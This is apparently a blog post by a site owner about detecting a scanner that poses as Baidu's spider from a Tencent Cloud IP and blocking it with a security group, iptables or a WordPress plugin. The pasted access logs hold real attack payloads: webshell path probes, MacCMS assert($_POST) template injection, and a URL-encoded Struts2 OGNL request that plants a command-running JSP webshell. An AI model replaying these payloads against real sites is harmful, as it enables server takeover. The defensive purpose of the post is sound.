Methods to Block Server Crawling by Fake Baidu Spiders

Yesterday, while checking spider history, Naiba found that Baidu spider Baiduspider was frantically crawling non-existent resources on my website on the 20th. It was strange at the time, but I didn't investigate further. Just now, checking the spider records again, I found Baidu hasn't visited much today. Strange. Then I casually searched for yesterday's spider IP and found it was a Tencent Cloud IP, not Baidu's. This means someone is using Tencent Cloud machines to impersonate Baidu spiders, scanning websites on the internet for potential vulnerabilities to exploit.

Crawling records of the fake Baidu spider are as follows

2019-06-20 22:11:22	118.24.24.40	/plus/mytag_js.phpaid=999	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:22	118.24.24.40	/plus/mytag_js.phpaid=9999	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:22	118.24.24.40	/plus/mytag_js.phpaid=9527	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:21	118.24.24.40	/plus/mytag_js.phpaid=9521	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:21	118.24.24.40	/plus/mytag_js.phpaid=9521	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:21	118.24.24.40	/plus/mytag_js.phpaid=9521	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:21	118.24.24.40	/plus/mytag_js.phpaid=9521	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:21	118.24.24.40	/plus/mytag_js.phpaid=9521	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:21	118.24.24.40	/plus/mytag_js.phpaid=9521	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:21	118.24.24.40	/plus/mytag_js.phpaid=9191	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:20	118.24.24.40	/plus/mytag_js.phpaid=909	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:20	118.24.24.40	/plus/mytag_js.phpaid=9090	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:20	118.24.24.40	/plus/mytag_js.phpaid=9013	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:20	118.24.24.40	/plus/mytag_js.phpaid=8080	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:20	118.24.24.40	/plus/mytag_js.phpaid=7888	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:20	118.24.24.40	/plus/mytag_js.phpaid=6022	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:19	118.24.24.40	/plus/mytag_js.phpaid=1	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:19	118.24.24.40	/plus/mytag_js.phpaid=1	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:19	118.24.24.40	/plus/mytag_js.phpaid=1	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:19	118.24.24.40	/plus/mytag_js.phpaid=1	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:18	118.24.24.40	/plus/mytag_js.php%20aid=9090	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:18	118.24.24.40	/plus/mytag_j.phpaid=6022	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:18	118.24.24.40	/plus/mumaasp.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:17	118.24.24.40	/plus/mcds.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:16	118.24.24.40	/md5.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:16	118.24.24.40	/manage/Images/Sql.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:15	118.24.24.40	/kdatebase/index_.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:14	118.24.24.40	/images/css/Thumb.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:14	118.24.24.40	/statics/images/cache.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:14	118.24.24.40	/images/cache.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:14	118.24.24.40	/images/Sql.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:13	118.24.24.40	/dxyylc/md5.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:13	118.24.24.40	/dxyylc/md5.aspx	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:13	118.24.24.40	/data/img/css/xianf.ASP	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:13	118.24.24.40	/config/AspCms_Config.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:12	118.24.24.40	/config/AspCms_Config.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:12	118.24.24.40	/base/admin/cache.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:12	118.24.24.40	/admin/sdfg.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:11	118.24.24.40	/admin/images/Sql.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:11	118.24.24.40	/admin/error.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:11	118.24.24.40	/admin/Admin_Ta.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:11	118.24.24.40	/Templates/test.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:11	118.24.24.40	/Templates/red.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:11	118.24.24.40	/Somnus/Somnus.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:10	118.24.24.40	/config/AspCms_Config.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:10	118.24.24.40	/admin_aspcms/_system/AspCms_SiteSetting.asp?action=saves	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:11:08	118.24.24.40	/index.php?s=member&c=register&m=index	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:11:05	118.24.24.40	/?m=vod-search&wd=page:langif-A:epage:langvalpage:lang(_POpage:langST[hxg])endif-A	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:11:05	118.24.24.40	/index.php?m=vod-search&wd={{page:lang}if-A:e{page:lang}val{page:lang}($_PO{page:lang}ST[hxg])}{endif-A}	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:11:03	118.24.24.40	/?m=vod-search&wd=if-A:assert(_POST[a])endif-A	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:03	118.24.24.40	/index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A}	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:01	118.24.24.40	/?m=vod-search&wd=if-A:assert(_POST[a])endif-A	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:11:01	118.24.24.40	/index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A}	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:11:00	118.24.24.40	/index.php?s=/Core/File/uploadPictureBase64.html	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:10:59	35.221.115.221	/feed	rssbot/1.4.4 (+https://t.me/saodayesub_bot)
2019-06-20 22:10:58	118.24.24.40	/?m=member&c=index&a=register&siteid=1	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:10:58	118.24.24.40	/index.php?m=member&c=index&a=register&siteid=1	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:10:58	118.24.24.40	/struts2-showcase/filedownload/index.action	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:10:57	118.24.24.40	/struts2-showcase/filedownload/index.action?method:%23_memberAccess%[url=mailto:3d@ognl.OgnlContext]3d@ognl.OgnlContext[/url]@DEFAULT_MEMBER_ACCESS,%23a%3d%23parameters.reqobj[0],%23c%3d%23parameters.reqobj[1],%23req%3d%23context.get(%23a),%23b%3d%23req.getRealPath(%23c)%2b%23parameters.reqobj[2],%23fos%3dnew%20java.io.FileOutputStream(%23b),%23fos.write(%23parameters.content[0].getBytes()),%23fos.close(),%23hh%3d%23context.get(%23parameters.rpsobj[0]),%23hh.getWriter().println(%23b),%23hh.getWriter().flush(),%23hh.getWriter().close(),1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&reqobj=%2f&reqobj=test.jsp&content=gif89a%3C%25%0A%20%20%20%20if%28%22024%22.equals%28request.getParameter%28%22pwd%22%29%29%29%7B%0A%20%20%20%20%20%20%20%20java.io.InputStream%20in%20%3D%20Runtime.getRuntime%28%29.exec%28request.getParameter%28%22l%22%29%29.getInputStream%28%29%3B%0A%20%20%20%20%20%20%20%20int%20a%20%3D%20-1%3B%0A%20%20%20%20%20%20%20%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%0A%20%20%20%20%20%20%20%20out.print%28%22%3Cpre%3E%22%29%3B%0A%20%20%20%20%20%20%20%20while%28%28a%3Din.read%28b%29%29%21%3D-1%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20out.println%28new%20String%28b%29%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20out.print%28%22%3C%2fpre%3E%22%29%3B%0A%20%20%20%20%7D%0A%25%3E	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:10:56	118.24.24.40	/research.asp?searchkey=x&anclassid=0&search=%20all	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©

The query result for this IP is as follows

Current IP 118.24.24.40 Geolocation Chengdu, Sichuan, China Owner/Operator tencent.com / China Telecom/Unicom/Mobile Time Zone Asia/Shanghai UTC+8 Regional Center Coordinates 30.659462, 104.065735 Port Protocol This IP has 1 open port, 1 protocol identified. Threat Intelligence Bot, Botnet, Malware, Cyber Attack Therefore, it's necessary to block this IP.

148.70.115.40
这个IP也是恶意爬虫

119.187.243.126
这个IP也是假冒百度蜘蛛的爬虫

Method to block this IP on Tencent Cloud

Tencent Cloud comes with its own security group, so there's no need to use your VPS's firewall to block it. Log inTencent Cloudto the Admin Dashboard, find your VPS instance, and then switch to the Security Group tab. Click the Add Rule button under Inbound Rules.Then, fill in the rule as shown in the image above, save it, and you're done.

Blocking methods for other servers

If the server you are using does not have the security group feature, you can use the server's own iptables firewall to block this IP. The iptables rule is as follows

iptables -I INPUT -s 118.24.24.40 -j DROP

Plugin blocking method

If you are not familiar with VPS commands, you can also directly block it through a firewall plugin, such as Wordfence installed by Naibabiji (see4 WordPress Officially Recommended Malware Scanning Plugins). Go to the Blocking option, then add the blocking IP rule, save it, and you're done. The method is shown in the image below:Additionally, this plugin itself can also set crawling rules to automatically block an IP if its access frequency to the website reaches a certain level. Those interested can explore this feature.